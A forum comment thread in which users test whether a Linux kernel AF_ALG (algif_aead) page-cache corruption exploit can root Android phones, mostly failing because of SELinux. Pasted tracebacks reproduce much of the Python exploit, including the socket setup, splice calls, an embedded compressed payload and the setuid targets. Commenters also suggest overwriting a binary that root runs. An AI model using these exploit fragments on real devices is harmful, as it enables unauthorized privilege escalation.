Could this be used to root Android devices? Does Android ship with algif_aead?

▲ alufers an hour ago | parent | next [-]

I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).

Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.

Putting it out here, maybe somebody else will have better luck.

[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...

▲ alufers 15 minutes ago | parent [-]

Update: Checking the kernel config indeed confirms this.

   adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
   # CONFIG_CRYPTO_USER_API_HASH is not set
   # CONFIG_CRYPTO_USER_API_SKCIPHER is not set
   # CONFIG_CRYPTO_USER_API_RNG is not set
   # CONFIG_CRYPTO_USER_API_AEAD is not set

▲ tripdout 3 hours ago | parent | prev | next [-]

There’s SELinux, everything is mounted nosuid, barely anything runs as root except init. I doubt it.

▲ notpushkin 3 hours ago | parent | prev | next [-]

I’ve poked around on my phone and it didn’t work:

    File "/data/data/com.termux/files/home/a.py", line 5, in c
      a=s.socket(38,5,0); # ...
    File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
      _socket.socket.__init__(self, family, type, proto, fileno)
      ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  PermissionError: [Errno 13] Permission denied

▲

int0x29 3 hours ago | parent [-]

I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work.

Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

▲

notpushkin 3 hours ago | parent [-]

Try /system/bin/ping

	▲	int0x29 3 hours ago \| parent [-]
		Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied

▲ zb3 3 hours ago | parent | prev [-]

Android is smarter than setuid + system partitions aren't writable.

▲

firer 3 hours ago | parent | next [-]

System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.

Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".

But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).

	▲	int0x29 3 hours ago \| parent \| next [-]
		Edit: Ignore this I overlooked calling order. It is indeed blocked ~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~
	▲	zb3 2 hours ago \| parent \| prev [-]
		Ah, I blindly assumed such memory would be mapped readonly...

▲

int0x29 3 hours ago | parent | prev [-]

Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.

	▲	zb3 2 hours ago \| parent [-]
		I assumed such memory would be mapped readonly (PROT_READ), without actually looking into it..